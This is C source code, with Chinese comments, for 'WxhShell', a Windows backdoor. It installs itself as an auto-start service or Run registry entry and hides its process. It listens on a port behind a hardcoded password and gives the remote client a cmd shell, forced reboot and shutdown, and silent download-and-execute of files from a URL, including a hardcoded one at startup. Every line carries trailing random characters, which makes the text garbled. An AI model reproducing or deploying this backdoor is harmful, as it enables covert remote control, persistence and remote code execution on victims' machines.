    }  K$37}S5  
  // 关机 RpmBP[  
  case 'd': { IF36K^K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A}t&-  
    if(Boot(SHUTDOWN)) uI[-P}bSc&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =ELDJt  
    else { n!l./>N  
    closesocket(wsh); (dLE<\E  
    ExitThread(0); q{9X.-]}  
    } ^.Ih,@N6  
    break; QKUBh-QFK  
    } |%2/I>o  
  // 获取shell O$<%z[  
  case 's': { z'\}/k+  
    CmdShell(wsh); 'o)ve(  
    closesocket(wsh); $p}~,Kp/  
    ExitThread(0); T~wZ  
    break;  s>*Q  
  } ;mo\ yW1  
  // 退出 xZ S\#{  
  case 'x': { @qO8Jg"Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xtIehr0{$I  
    CloseIt(wsh); Q~b M  
    break; c:@OX[##  
    } dm/\uE'l  
  // 离开 9znx1AsN  
  case 'q': { ['}^;Y?*o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9pl_V WrQ  
    closesocket(wsh); lEYT{  
    WSACleanup(); 4U! .UNi  
    exit(1); <*r<+S   
    break; iw~V_y4  
        } ;}>g1&q  
  } 'wB Huq  
  } S$lmEJ_  
g+KzlS[6  
  // 提示信息 ExOB P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lM|WOmD  
} XoxR5arj  
  } rs 1*H  
PgG |7='  
  return; rlO%%Qn`  
} -t~B@%  
4_m /_Z0x  
// shell模块句柄 Zs5I?R1e8  
int CmdShell(SOCKET sock) NW4 s'roP  
{ SX?$H~A  
STARTUPINFO si; &TkbnDuYd~  
ZeroMemory(&si,sizeof(si)); J?Ep Nie  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L(1,W<kYg  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~4~Tcn  
PROCESS_INFORMATION ProcessInfo; M9 2~iM  
char cmdline[]="cmd"; y~A7pzBZ=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j]?0}Z*  
  return 0; /o1)ZC$  
} 4h_4jqf=pU  
s[B6%DI/5  
// 自身启动模式 'G3OZj8  
int StartFromService(void) \(>$mtS:  
{ [A..<[  
typedef struct |nH0~P#!  
{ R.YGmT'2  
  DWORD ExitStatus; *UL|{_)c  
  DWORD PebBaseAddress; eRx[&-c  
  DWORD AffinityMask; ^Lfn3.M  
  DWORD BasePriority; 9hs{uxwuEE  
  ULONG UniqueProcessId; ZesD(  
  ULONG InheritedFromUniqueProcessId; 2-E71-J  
}   PROCESS_BASIC_INFORMATION; \lbiz4^>  
-R$FJb Id  
PROCNTQSIP NtQueryInformationProcess; !Ub?eJp  
8rG&CxI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [ rQ(ae  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wCTR-pL^  
tEX~72v  
  HANDLE             hProcess; <K[Zl/7I  
  PROCESS_BASIC_INFORMATION pbi; /qq&'}TZP  
,/b/O4`;y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <:{[Zvl'k  
  if(NULL == hInst ) return 0; @[b:([  
8}#Lo9:,d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D_ZBx+/_?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8`~3MsE"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5NF&LM;i(  
4p.{G%h  
  if (!NtQueryInformationProcess) return 0; [;#.DH]  
vzm4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); VUv.Tx]Z[  
  if(!hProcess) return 0; =i5:*J  
\\G6c4 fC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'MQGR@*  
^$,kTU'=  
  CloseHandle(hProcess); i|,A1c"*  
8'xnhV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y{?jr$js<  
if(hProcess==NULL) return 0; +95dz?~  
@?=)}2=|?i  
HMODULE hMod; z+D,:!yF  
char procName[255]; !>@V#I  
unsigned long cbNeeded; udy;Odt  
}0nB' 0|y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3 <lhoD  
_vLT!y  
  CloseHandle(hProcess); >(ww6vk2  
99>yaW  
if(strstr(procName,"services")) return 1; // 以服务启动 # +]! u%n  
.F3LA6se  
  return 0; // 注册表启动 <r`Jn49  
} # %y{mn  
uv!qE1z@':  
// 主模块 ?E_p,#9j)  
int StartWxhshell(LPSTR lpCmdLine) kpw4Mq@  
{ zwrZ ^  
  SOCKET wsl; GO3YXO33  
BOOL val=TRUE; QIV~)`;  
  int port=0; GXK?7S0H  
  struct sockaddr_in door; }o:sx/=u_  
N,,2 VSUr  
  if(wscfg.ws_autoins) Install(); ~wg^>!E  
MNmQ%R4jRN  
port=atoi(lpCmdLine); gq1Y]t|4F  
uBkn y;  
if(port<=0) port=wscfg.ws_port; OYp8r  
_rJ SkZO  
  WSADATA data; :{uUc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ujqktrhuLb  
CscJy0dB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /=(FM   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [:S F(*}  
  door.sin_family = AF_INET; &LQab>{*K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FN`kSTm*0!  
  door.sin_port = htons(port); h#ot)m|I  
<!(n5y_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Zs|sPatV<  
closesocket(wsl); eSBf;lr=  
return 1; h5keYBA  
} 7uNI  
l>?vjy65  
  if(listen(wsl,2) == INVALID_SOCKET) { ]LOtwY  
closesocket(wsl); s9bP6N!,  
return 1; \^LR5S&  
} Ud*[2Oi|R  
  Wxhshell(wsl); OSIp  
  WSACleanup(); pdiZ"pe  
rO%+)M$A  
return 0; E8<i PTJs  
tp2 _OQAQ  
} 6&0a?Xu  
<!>}t a  
// 以NT服务方式启动 ;_&L^)~P$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yuX 0Y{:I  
{ ,peE'   
DWORD   status = 0; e' VXyf  
  DWORD   specificError = 0xfffffff; +0 |0X {v  
@cGql=t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JCfToFB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UQPE)G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D9C; JD  
  serviceStatus.dwWin32ExitCode     = 0; !P3|T\|]+  
  serviceStatus.dwServiceSpecificExitCode = 0; :|3 C-+[  
  serviceStatus.dwCheckPoint       = 0; $?{zV$r1  
  serviceStatus.dwWaitHint       = 0; W%cPX0  
hDMp^^$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5xUPqW%3  
  if (hServiceStatusHandle==0) return; K$]B" s  
H4Ek,m|c  
status = GetLastError(); 9Bw"VN]W  
  if (status!=NO_ERROR) iL1so+di  
{ HI 61rXNF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y|nTc.A  
    serviceStatus.dwCheckPoint       = 0; 7S Zs/wWh%  
    serviceStatus.dwWaitHint       = 0; B ;$8<  
    serviceStatus.dwWin32ExitCode     = status; +JG"eh&J"H  
    serviceStatus.dwServiceSpecificExitCode = specificError; @CDRbXoFk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i`L66uV  
    return; i(HhL&  
  } B=|sLs`I  
L 3@wdC ~0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3 2D/%dHC  
  serviceStatus.dwCheckPoint       = 0; kzXW<V9  
  serviceStatus.dwWaitHint       = 0; Q.\ovk~,a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <~w#sIh  
} blv6  
]:fHvx_?`7  
// 处理NT服务事件,比如:启动、停止 |D:0BATRP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6suc:rp";  
{ Lp=B? H  
switch(fdwControl) bxq`E!]  
{ -NeF6  
case SERVICE_CONTROL_STOP: UUq9UV-h  
  serviceStatus.dwWin32ExitCode = 0; oZtz"B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DmsloPB?_  
  serviceStatus.dwCheckPoint   = 0; lUd,-  
  serviceStatus.dwWaitHint     = 0; [4yQ-L)]e  
  { _Hk`e}}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O~VUViS6$  
  } Qafg/JU  
  return; N0PX<$y  
case SERVICE_CONTROL_PAUSE: * =l9gv&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; s2WB4U k  
  break; _P:P5H8  
case SERVICE_CONTROL_CONTINUE: v%^H9aK_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [:qX3"B  
  break; }.zn:e  
case SERVICE_CONTROL_INTERROGATE: [f}1wZ*  
  break; JnDR(s4(E  
}; .O^|MhBJu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7Wu2gky3  
} HZ3<}`P_W  
~fe0Ba4  
// 标准应用程序主函数 f9$q.a*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ):@B1 yR  
{ H@:@zD!G[  
/xzL!~g`6<  
// 获取操作系统版本 , +^db)  
OsIsNt=GetOsVer(); CiSG=obw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PdZSXP4;k  
L  z  
  // 从命令行安装 4dP_'0]9A:  
  if(strpbrk(lpCmdLine,"iI")) Install(); iDsjIW\j  
Lsdu:+-  
  // 下载执行文件 yS""*8/  
if(wscfg.ws_downexe) { j3>< J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .B*)A.   
  WinExec(wscfg.ws_filenam,SW_HIDE); @[Th{HTc.G  
} g d-fJ._1  
RZZB?vx  
if(!OsIsNt) { q'q{M-U<  
// 如果时win9x,隐藏进程并且设置为注册表启动 I f(_$>  
HideProc(); By9/tB  
StartWxhshell(lpCmdLine); ilP&ctn6+c  
} s5HbuyR^  
else 92i# It}-/  
  if(StartFromService()) va0 a4s1O  
  // 以服务方式启动 VbjFQ@[l!  
  StartServiceCtrlDispatcher(DispatchTable); ?:E;C<Ar  
else [g? NU]  
  // 普通方式启动 sAb|]Q((  
  StartWxhshell(lpCmdLine); !ktr|9Bl  
jv ";?*I6.  
return 0; oaHBz_pg  
} `W9_LROD  
/[OMpP  
z!%}0  
rZEu@63  
=========================================== ]%."  
gS%J`X$  
" O4Z).5q3  
?6Gq &  
f}apn=  
?2M15Q  
" qv:WC TAn  
<Wd$6  
#include <stdio.h> 4{Iz\:G:{/  
#include <string.h> i=ba=-"Mt  
#include <windows.h> ~4M]SX1z  
#include <winsock2.h> Q7C'O @  
#include <winsvc.h> __QT lj  
#include <urlmon.h> jHd~yCq  
.f}I$ "2  
#pragma comment (lib, "Ws2_32.lib") `{ /tx!  
#pragma comment (lib, "urlmon.lib") fKfi   
?}y7S]B FI  
#define MAX_USER   100 // 最大客户端连接数 P|\,kw>l  
#define BUF_SOCK   200 // sock buffer *M="k 1P1  
#define KEY_BUFF   255 // 输入 buffer ]OVjq ?  
L{42?d  
#define REBOOT     0   // 重启 DeUDZL%/  
#define SHUTDOWN   1   // 关机 JwO+Dd  
N5_v}<CN  
#define DEF_PORT   5000 // 监听端口 4avM:h  
gnv4.f:  
#define REG_LEN     16   // 注册表键长度 u*M*Wp Y  
#define SVC_LEN     80   // NT服务名长度 (HTVSC%=  
7(jt:V6V  
// 从dll定义API cIgF]My*D@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xZkLN5I{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Rk'Dd4"m ,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M! s&<Bi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a^2?W  
mBNa;6w?{*  
// wxhshell配置信息 +h =lAHn&  
struct WSCFG { (]ORB0kl  
  int ws_port;         // 监听端口 y]/{W}D  
  char ws_passstr[REG_LEN]; // 口令 QKVZ![Y!s  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6)TFb,  
  char ws_regname[REG_LEN]; // 注册表键名 gAE}3//  
  char ws_svcname[REG_LEN]; // 服务名 mJT7e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 OvFZ&S[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (\Dd9a8V-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "^u|vCqw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 43/|[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bC&_OU:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xT@\FwPr  
E_xpq  
}; bNqjjg  
jtZ@`io  
// default Wxhshell configuration Xdjxt?*  
struct WSCFG wscfg={DEF_PORT, )q#b^( v  
    "xuhuanlingzhe", }g3)z%Xe'[  
    1, N%`ikdaTd  
    "Wxhshell", r+) A)a,  
    "Wxhshell", kcQ |Zg  
            "WxhShell Service", E;h#3 B9  
    "Wrsky Windows CmdShell Service", 7Npz {C{I  
    "Please Input Your Password: ", bJ9>,,D  
  1, L%<1cE))  
  "http://www.wrsky.com/wxhshell.exe", N^)L@6  
  "Wxhshell.exe" Nf3L  
    }; NxNz(R $~  
5:O"T  
// 消息定义模块 ]e+S~me  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VDscZt)y8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 75{QBlf<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^oA^z1>3  
char *msg_ws_ext="\n\rExit."; Fm*O&6W\@A  
char *msg_ws_end="\n\rQuit."; ]92@&J0w  
char *msg_ws_boot="\n\rReboot..."; n2$*Z6.G  
char *msg_ws_poff="\n\rShutdown..."; {+Eq{8m`  
char *msg_ws_down="\n\rSave to "; Z,ag5 w`]L  
NK d8XQ=%  
char *msg_ws_err="\n\rErr!"; Jln dypE  
char *msg_ws_ok="\n\rOK!"; _w(SHWh2  
 37{mhU  
char ExeFile[MAX_PATH]; 3EAu#c@q"  
int nUser = 0; #S QFI;zj  
HANDLE handles[MAX_USER]; !k&<  
int OsIsNt; [t,7H  
P E.^!j  
SERVICE_STATUS       serviceStatus; VTD'D+ t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ca-|G'q  
!30BZM^  
// 函数声明 w${=]h*2  
int Install(void); J8(v65  
int Uninstall(void); eja_+`cJ  
int DownloadFile(char *sURL, SOCKET wsh); 9QZ;F4 r  
int Boot(int flag); Dk8" H >*  
void HideProc(void); ?/NxZ\  
int GetOsVer(void); :tNH Cx  
int Wxhshell(SOCKET wsl); 4K:p  
void TalkWithClient(void *cs); entO"~*EX  
int CmdShell(SOCKET sock); iYBs )  
int StartFromService(void); 8L.Y0_x  
int StartWxhshell(LPSTR lpCmdLine); |UE&M3S  
$--W,ov5j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "w=.2A:q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A{Pp`*l  
Fn$EP:>  
// 数据结构和表定义 P)ZGNtO9fG  
SERVICE_TABLE_ENTRY DispatchTable[] = K@`F*^A}V  
{ 9aYCU/3  
{wscfg.ws_svcname, NTServiceMain}, <[kdF")  
{NULL, NULL} 7>v1w:cC]  
}; ^#p S u  
]Z2;sA  
// 自我安装 h9RG?r1  
int Install(void) JT,8/o  
{ T/UhZ4(V  
  char svExeFile[MAX_PATH]; ]xb R:CYJ  
  HKEY key; rl[&s\[  
  strcpy(svExeFile,ExeFile);  g&#.zJ[-  
M+9G^o)u  
// 如果是win9x系统,修改注册表设为自启动 8E ^yHd4Y  
if(!OsIsNt) { #8QQZdC8`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RT4ns+J1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jah~h44&  
  RegCloseKey(key); *EvnN:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S~/zBFo-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); },e f(  
  RegCloseKey(key); j[v<xo  
  return 0; ;}ileL Tl  
    } 6m|j " m  
  } &%$r3ePwc  
} V)oUSHillH  
else { }L3kpw  
|#Z:v1]"  
// 如果是NT以上系统,安装为系统服务 0Ou`& u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nPD5/xW  
if (schSCManager!=0) -tlRe12  
{ EQET:a:g  
  SC_HANDLE schService = CreateService &+u) +<&;(  
  ( hqmKUlo  
  schSCManager, M`-.0  
  wscfg.ws_svcname, bO^#RVH  
  wscfg.ws_svcdisp, _jQ"_Ff  
  SERVICE_ALL_ACCESS, M8oI8\6[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oDXUa5x  
  SERVICE_AUTO_START, MD%_Z/NL  
  SERVICE_ERROR_NORMAL, D9*GS_K2 t  
  svExeFile, `B}( Ln  
  NULL, N=YRYU o  
  NULL, %(79;#2`  
  NULL, g@BQ!}_#5  
  NULL, 3M=ym.  
  NULL lU`]yL  
  ); !ZPaU11  
  if (schService!=0) Fc% @  
  { 8%nb1CA  
  CloseServiceHandle(schService); -^`]tF`M  
  CloseServiceHandle(schSCManager); QWp,(Mv:r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SQ9s  
  strcat(svExeFile,wscfg.ws_svcname); . T6fPEb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @kw#\%Uz  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XbsEO>_Z'A  
  RegCloseKey(key); vr+O)/P})  
  return 0; wuSp+?{5k  
    } *4"s,1?@BG  
  } VHGOVH,  
  CloseServiceHandle(schSCManager); %"Q{|}  
} n7>CK?25  
} })rJU/  
NHG+l)y:  
return 1; uDJi2,|n  
} $@<qaR{t\  
}J"}5O2,b  
// 自我卸载 UT|FV twO  
int Uninstall(void) cLj@+?/  
{ =(Y 1y$  
  HKEY key; gs wp:82e2  
@.T(\Dq^  
if(!OsIsNt) { .]}kOw:(#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?&W1lYY  
  RegDeleteValue(key,wscfg.ws_regname); d~1Nct$:  
  RegCloseKey(key); $R4[TQY).!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BQq,,i8H  
  RegDeleteValue(key,wscfg.ws_regname); b1Bu5%bt,:  
  RegCloseKey(key); 1:%HE*r  
  return 0; RLBjl%Q>  
  } ;`Eie2y{M  
} o-"/1zLg4  
} (,<&H;,8  
else { 7714}%Z  
9t:P1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GInU7y904  
if (schSCManager!=0) *vqlY[2Ax  
{ F[uy'~;@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,&[2z!  
  if (schService!=0) 22lC^)`TE  
  { mVFz[xI  
  if(DeleteService(schService)!=0) { 1~/?W^ir  
  CloseServiceHandle(schService); 2gLa4B-  
  CloseServiceHandle(schSCManager); 'wB6-  
  return 0; `vs= CYs  
  } (%*CfR:>  
  CloseServiceHandle(schService); ~"F83+RDe  
  } _X5@%/Vz  
  CloseServiceHandle(schSCManager); )2t!= ua  
} Qwl=/<p1  
} Ba==Ri8$  
2(~Y ^_  
return 1; l`D^)~o8  
} ~^jdiy5  
$@k[Xh  
// 从指定url下载文件 VbR /k,Co  
int DownloadFile(char *sURL, SOCKET wsh) rF C6"_  
{ _hT-5)1r  
  HRESULT hr; 8l,`~jvU!*  
char seps[]= "/"; (`h$+p^-y  
char *token; gx+bKGB`  
char *file; v,z s dr"d  
char myURL[MAX_PATH]; {*WJ"9ujp]  
char myFILE[MAX_PATH]; |^&n\vXv  
eHr|U$Rpo  
strcpy(myURL,sURL); Bc%A aZ0x  
  token=strtok(myURL,seps); u%n6!Zx  
  while(token!=NULL) 6b1f ?0  
  { LB*qL  
    file=token; *xm(K +j  
  token=strtok(NULL,seps); u;1/.`NPB  
  } gD&/ k  
9$[I~I#z  
GetCurrentDirectory(MAX_PATH,myFILE); f+>l-6M+p  
strcat(myFILE, "\\"); R  Fgy  
strcat(myFILE, file); F\&Sn1>k  
  send(wsh,myFILE,strlen(myFILE),0); -<rQOPH%  
send(wsh,"...",3,0); |X&.+RI  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +-_71rJc.  
  if(hr==S_OK) m# #( uSh  
return 0; fBCW/<Z  
else mEi+Tj zp  
return 1; jIY    
"-aak )7w  
} v=!Ap ; 2L  
"E`;8SZa  
// 系统电源模块 9=,^^,q  
int Boot(int flag) rGb7p`J  
{ xs<~[l  
  HANDLE hToken; }$DLa#\-  
  TOKEN_PRIVILEGES tkp; Q\(VQ1c  
yn&AMq ]o  
  if(OsIsNt) { (_&W@:"z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zJ;K4)"j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +$]eA'Bh@  
    tkp.PrivilegeCount = 1; -TnvX(ok4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uK6_HvHuy  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9o-fI@9  
if(flag==REBOOT) { YTBZklM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kOfq6[JC  
  return 0; HI}$Z =C  
} Uh.XL=wY  
else { cG|)z<Z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) om3$=  
  return 0; (hywT)#+  
} rNzsc|a:  
  } {"<6'2T3  
  else { 3Cq/ o'  
if(flag==REBOOT) { .54E*V1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M6n9>aW4  
  return 0; Vp3 9`m-W  
} )c9]}:W&  
else { k~|nU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _n9+(X3  
  return 0; P3[+c4  
} +R7";.  
} e|wH5(V  
o`^GUY}  
return 1; 1_JxDT,=>  
} hK=\O)  
e@k`C{{C]o  
// win9x进程隐藏模块 jYwv+EXg  
void HideProc(void) *SkUkqP9z  
{ >`rK=?12<  
p%304oP6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); JyPsRpi\  
  if ( hKernel != NULL ) `?{Hs+4P5  
  { Sz0M8fYT]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); i4T U}.h8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w, 0tY=h6  
    FreeLibrary(hKernel); wK 8/`{B9  
  } |_l\.  
GD1=Fb"&)  
return; 3Rid 1;L0U  
} lD09(|`  
oOk.Fq  
// 获取操作系统版本 <}pwFl8C)  
int GetOsVer(void) I\R5Cb<p  
{ 1jZ:@M :  
  OSVERSIONINFO winfo; )c@I|L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Wpom{-  
  GetVersionEx(&winfo); riI0k{   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fShf4G_w\  
  return 1; ]d"4G7mu`l  
  else iKB8V<[\T  
  return 0; 2G"mm (   
} G'XlsyaWrb  
W5-p0,?[6  
// 客户端句柄模块 3j.Ft*SV  
int Wxhshell(SOCKET wsl) ~CRr)(M  
{ a/+tsbw  
  SOCKET wsh; W38My j!  
  struct sockaddr_in client; ~p~8T  
  DWORD myID; L K9vvQz  
qs6yEuh#  
  while(nUser<MAX_USER) 5YIi O7@4  
{ 'l\V{0;mp  
  int nSize=sizeof(client); c L*D_)?8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /U<-N'|  
  if(wsh==INVALID_SOCKET) return 1; LGT\1u  
,=l MtW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U{D ?1tF  
if(handles[nUser]==0) L@?Dmn'v  
  closesocket(wsh); 64}Oa+*s  
else &0TOJ:RP  
  nUser++; );$Uf!v4  
  } =mCUuY#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k%QhF]  
1?HUXN#,  
  return 0; f+0dwlIlC$  
} JGZ,5RTq4-  
~fsAPIQ  
// 关闭 socket >q <,FY!A  
void CloseIt(SOCKET wsh) f(DGC2R <  
{ +3vK=d_Va  
closesocket(wsh); I"3Qdi  
nUser--; 7"=  
ExitThread(0); AW6]S*rh  
} ^BjwPh4Z#  
ltt%X].[  
// 客户端请求句柄 6+IOJtj  
void TalkWithClient(void *cs) !.L%kw7z  
{ D`e!CprF  
c[<lr  
  SOCKET wsh=(SOCKET)cs; ~=%eOoZP;c  
  char pwd[SVC_LEN];  <_MQC  
  char cmd[KEY_BUFF]; {AIP\  
char chr[1]; ` e~/  
int i,j; @okC":Fw,  
.D^k0V  
  while (nUser < MAX_USER) { F=B>0Q5   
5gI@~h S  
if(wscfg.ws_passstr) { F$ Us! NN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %kNkDI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZERUvk  
  //ZeroMemory(pwd,KEY_BUFF); 9`.b   
      i=0; 65ijzZL;  
  while(i<SVC_LEN) { Rjo6Pd{d<  
P%pB]d.qpi  
  // 设置超时  'm}~  
  fd_set FdRead; #x#.@  
  struct timeval TimeOut; /.05rTpp  
  FD_ZERO(&FdRead); gbr|0h>  
  FD_SET(wsh,&FdRead); x:;8U i"&B  
  TimeOut.tv_sec=8; ~n]:f7?I  
  TimeOut.tv_usec=0; uVDB; 6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <3HW!7Ad1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lZ^XZjwoM  
%Iv+Y$'3B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E(8!VY ^  
  pwd=chr[0]; \R&`bAdk  
  if(chr[0]==0xd || chr[0]==0xa) { 4OCz:t  
  pwd=0; Ca+d ?IS  
  break; 6$SsdT|8B  
  } z2!NBOv  
  i++; S?hM  
    } }'kk}2ej`  
#k)G1Y[c  
  // 如果是非法用户,关闭 socket Dr(.|)hv[&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *KxV;H8/  
} ; {I{X}b  
}M'\s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F8b*Mt}p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d^]wqnpf  
/J{P8=x}_:  
while(1) { ?ZlwRjB\  
X~GZI*P  
  ZeroMemory(cmd,KEY_BUFF); 76=uk!#3{  
F1Egcx/$V  
      // 自动支持客户端 telnet标准   xZ`t~4qR  
  j=0; 'r1&zw(  
  while(j<KEY_BUFF) { 4CX*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J[LGa:``  
  cmd[j]=chr[0]; F\-qXSA  
  if(chr[0]==0xa || chr[0]==0xd) { *i5&x/ds  
  cmd[j]=0; seAkOIc  
  break; '-w G  
  } e yTYg  
  j++; K<Yh'RvTD  
    } &??(EA3  
2Y  6/,W  
  // 下载文件 E6)FYz7x  
  if(strstr(cmd,"http://")) { 1%EY!14G+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j?w7X?1(  
  if(DownloadFile(cmd,wsh)) n )`*{uv$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~&B_ Bswf  
  else webT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L>@0Nne7  
